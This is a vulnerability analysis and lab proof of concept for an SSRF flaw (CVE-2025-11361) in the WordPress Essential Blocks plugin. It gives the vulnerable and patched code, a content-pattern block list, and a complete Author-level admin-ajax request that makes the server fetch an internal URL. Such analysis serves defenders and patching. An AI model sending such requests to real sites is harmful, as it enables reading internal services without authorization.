CVE-2025-11361 Analysis & POC

1 CVE & Basic Info
The Gutenberg Essential Blocks – Page Builder for Gutenberg Blocks & Patterns plugin for WordPress is vulnerable to Server-Side Request Forgery (SSRF) in all versions up to and including 5.7.1, via the function eb_save_ai_generated_image.
This allows an authenticated attacker with Author-level privileges or higher to perform web requests to arbitrary addresses from the web application, and can be abused to query and exfiltrate information from internal services.
- CVE ID: CVE-2025-11361
- Vulnerability Type: Server Side Request Forgery (SSRF)
- Affected Versions: <= 5.7.1
- Patched Versions: 5.7.2
- CVSS severity: Low (5.5)
- Required Privilege: Author
- Product: WordPress Essential Blocks for Gutenberg Plugin
2 Requirements
- Local WordPress & Debugging: Local WordPress and Debugging.
- Plugin versions - Essential Blocks for Gutenberg: 5.7.1 (vulnerable) and 5.7.2 (patched).
- Diff tool - Meld or any diff/comparison tool to inspect differences between the two versions.
3 Analysis
3.1 Patch diff
Vulnerable code:
public function eb_save_ai_generated_image()
{
if ( ! isset( $_POST[ 'admin_nonce' ] ) || ! wp_verify_nonce( sanitize_key( $_POST[ 'admin_nonce' ] ), 'admin-nonce' ) ) {
wp_send_json_error( __( 'Nonce Error', 'essential-blocks' ) );
}
if ( ! current_user_can( 'upload_files' ) ) {
wp_send_json_error( __( 'You are not authorized to upload files!', 'essential-blocks' ) );
}
// Check if we have either image_url or image_b64 along with prompt
if ( ( isset( $_POST[ 'image_url' ] ) || isset( $_POST[ 'image_b64' ] ) ) && isset( $_POST[ 'prompt' ] ) ) {
$image_url = isset( $_POST[ 'image_url' ] ) ? esc_url_raw( $_POST[ 'image_url' ] ) : null;
$image_body = '';
// Handle URL format
if ( $image_url ) {
// Download the image from OpenAI URL
$image_data = wp_remote_get( $image_url, [
'timeout' => 60
] );
if ( is_wp_error( $image_data ) ) {
wp_send_json_error( [
'message' => __( 'Failed to download image from OpenAI.', 'essential-blocks' )
] );
return;
}
// Detect image format and set appropriate extension and MIME type
$image_info = getimagesizefromstring( $image_body );
$mime_type = $image_info ? $image_info[ 'mime' ] : 'image/png';
// Determine file extension based on MIME type
$extension = 'png'; // default
switch ( $mime_type ) {
case 'image/jpeg':
$extension = 'jpg';
break;
case 'image/png':
$extension = 'png';
break;
case 'image/webp':
$extension = 'webp';
break;
case 'image/gif':
$extension = 'gif';
break;
}
$image_body = wp_remote_retrieve_body( $image_data );
}
// other logic
} else {
wp_send_json_error( __( 'Image data (URL or base64) and prompt are required', 'essential-blocks' ) );
}
}
In the vulnerable version, the code uses wp_remote_get($image_url)
to download an image without validating or restricting the source URL. It does not check the HTTP response code, the MIME type, or the actual content of the returned file, allowing an attacker to abuse this to perform SSRF to internal services or to download malicious content disguised as an image.
Patched code:
public function eb_save_ai_generated_image()
{
if ( ! isset( $_POST[ 'admin_nonce' ] ) || ! wp_verify_nonce( sanitize_key( $_POST[ 'admin_nonce' ] ), 'admin-nonce' ) ) {
wp_send_json_error( __( 'Nonce Error', 'essential-blocks' ) );
}
if ( ! current_user_can( 'upload_files' ) ) {
wp_send_json_error( __( 'You are not authorized to upload files!', 'essential-blocks' ) );
}
// Check if we have either image_url or image_b64 along with prompt
if ( ( isset( $_POST[ 'image_url' ] ) || isset( $_POST[ 'image_b64' ] ) ) && isset( $_POST[ 'prompt' ] ) ) {
$image_url = isset( $_POST[ 'image_url' ] ) ? esc_url_raw( $_POST[ 'image_url' ] ) : null;
$image_body = '';
// Handle URL format
if ( $image_url ) {
// Download the image from validated URL
$image_data = wp_safe_remote_get( $image_url, [
'timeout' => 30,
'redirection' => 3,
'user-agent' => 'Essential Blocks/' . ESSENTIAL_BLOCKS_VERSION,
'headers' => [
'Accept' => 'image/*'
]
] );
if ( is_wp_error( $image_data ) ) {
wp_send_json_error( [
'message' => __( 'Failed to download image from URL.', 'essential-blocks' )
] );
return;
}
// Validate response
$response_code = wp_remote_retrieve_response_code( $image_data );
if ( $response_code !== 200 ) {
wp_send_json_error( [
'message' => __( 'Invalid response from image URL.', 'essential-blocks' )
] );
return;
}
// Security: Validate image content and size
if ( ! $this->is_valid_image_content( $image_body ) ) {
wp_send_json_error( [
'message' => __( 'Invalid image content provided.', 'essential-blocks' )
] );
return;
}
// Detect image format and set appropriate extension and MIME type
$image_info = getimagesizefromstring( $image_body );
if ( ! $image_info ) {
wp_send_json_error( [
'message' => __( 'Unable to determine image format.', 'essential-blocks' )
] );
return;
}
$mime_type = $image_info[ 'mime' ];
// Security: Only allow specific image MIME types
$allowed_mime_types = [
'image/jpeg',
'image/png',
'image/webp',
'image/gif'
];
if ( ! in_array( $mime_type, $allowed_mime_types, true ) ) {
wp_send_json_error( [
'message' => __( 'Unsupported image format.', 'essential-blocks' )
] );
return;
}
$image_body = wp_remote_retrieve_body( $image_data );
}
// other logic
} else {
wp_send_json_error( __( 'Image data (URL or base64) and prompt are required', 'essential-blocks' ) );
}
}
The patch replaces wp_remote_get()
with wp_safe_remote_get()
to block access to internal addresses, adds HTTP response code checks, validates the content and format of the image (is_valid_image_content()
and allowed MIME types), and reduces timeout and redirects — improving safety and mitigating SSRF by handling response data more securely.
private function is_valid_image_content( $image_data )
{
if ( empty( $image_data ) ) {
return false;
}
// Check file size (max 10MB)
$max_size = 10 * 1024 * 1024; // 10MB
if ( strlen( $image_data ) > $max_size ) {
return false;
}
// Validate image using getimagesizefromstring
$image_info = getimagesizefromstring( $image_data );
if ( ! $image_info ) {
return false;
}
// Check image dimensions (reasonable limits)
$max_width = 4096;
$max_height = 4096;
if ( $image_info[ 0 ] > $max_width || $image_info[ 1 ] > $max_height ) {
return false;
}
// Additional security: Check for suspicious content patterns
// Look for common file signatures that shouldn't be in images
$suspicious_patterns = [
'<?php', // PHP code
'<script', // JavaScript
'javascript:', // JavaScript protocol
'data:text/', // Text data URLs
'<html', // HTML content
'#!/bin/' // Shell scripts
];
$data_start = substr( $image_data, 0, 1024 ); // Check first 1KB
foreach ( $suspicious_patterns as $pattern ) {
if ( stripos( $data_start, $pattern ) !== false ) {
return false;
}
}
return true;
}
3.2 Vulnerable Code
eb_save_ai_generated_image()
is registered as the callback for the action hook wp_ajax_save_ai_generated_image
:
add_action( 'wp_ajax_save_ai_generated_image', [ $this, 'eb_save_ai_generated_image' ] );
Thus, when accessing the endpoint /wp-admin/admin-ajax.php
with the parameter action=save_ai_generated_image
, eb_save_ai_generated_image()
will be invoked.
To reach the wp_remote_get()
execution, the following conditions must be met:
- Check
admin_nonce
if ( ! isset( $_POST[ 'admin_nonce' ] ) || ! wp_verify_nonce( sanitize_key( $_POST[ 'admin_nonce' ] ), 'admin-nonce' ) ) {
wp_send_json_error( __( 'Nonce Error', 'essential-blocks' ) );
}
By default, when accessing wp-admin
, admin_nonce
will be set and can be found by inspecting the code and searching for the admin_nonce
keyword.

Find admin_nonce
by inspecting the code
- Check user-level
if ( ! current_user_can( 'upload_files' ) ) {
wp_send_json_error( __( 'You are not authorized to upload files!', 'essential-blocks' ) );
}
The upload_files
capability requires the user to be Author-level or higher.
POST request
containsimage_url
andprompt
params.
if ( ( isset( $_POST[ 'image_url' ] ) || isset( $_POST[ 'image_b64' ] ) ) && isset( $_POST[ 'prompt' ] ) )
4 Exploit
4.1 Local Server
Create a simple local service using Python:
from flask import Flask, jsonify, request, send_from_directory
import os
BASE_DIR = os.path.abspath(os.getcwd())
app = Flask(__name__)
@app.route('/test')
def test():
return send_from_directory(BASE_DIR, 'requirements.txt', as_attachment=True)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8001, debug=True)
hello
4.2 Proof of Concept (PoC)
Send a request with image_url
pointing to a local service http://127.0.0.1:8001/test
as an Author user:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-login.php?loggedout=true&wp_lang=en_US
Connection: keep-alive
Cookie: wordpress_86a9106ae65537651a8e456835b316ab=auth%7C1761189920%7CaUULiwmj9KXCapzU3Q82L7W45WcbXbqHowa8a6yQ2Vz%7C3cc12be38f8f94048309b7fcd31bd2187065311afecea7df5a9f01f5a207072b; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=auth%7C1761189920%7CaUULiwmj9KXCapzU3Q82L7W45WcbXbqHowa8a6yQ2Vz%7C38f09626eae6d08f6cdb9cd1ce781da26c2acdd8ef2fd1822d84a6d76c6c95ad; wp-settings-time-4=1761017121
action=save_ai_generated_image&admin_nonce=9433571df4&prompt=abc&image_url=http://127.0.0.1:8001/test
Response:
{
"success": true,
"data": {
"attachment_id": 355,
"url": "http://localhost/wp-content/uploads/2025/10/ai-generated-abc-1761019403.png",
"alt": "abc",
"title": "abc",
"caption": "",
"description": ""
}
}
Result:
Read the stored file at http://localhost/wp-content/uploads/2025/10/ai-generated-abc-1761019403.png
using BurpSuite
The content cannot be properly viewed in a browser because the content inside ai-generated-abc-1761019403.png
('hello'
) does not match the Content-Type: image/png returned, so the browser produces a rendering error.
4.3 Conclusion
Versions ≤ 5.7.1 of Essential Blocks for Gutenberg are vulnerable to SSRF because they use wp_remote_get()
to fetch uncontrolled URLs, allowing an Author user to send requests to internal addresses. The patch in 5.7.2 uses wp_safe_remote_get()
, adds response code checks, validates MIME and image content, and thus mitigates SSRF.
4.4 Key takeaways
- Update immediately to v5.7.2.
- Use
wp_safe_remote_get()
instead ofwp_remote_get()
. - Always validate responses (HTTP code, MIME, content).
- Limit timeout, redirects, and file size.
- Carefully validate input data and user capabilities.
5 References
SSRF (Server Side Request Forgery) — Hacktrick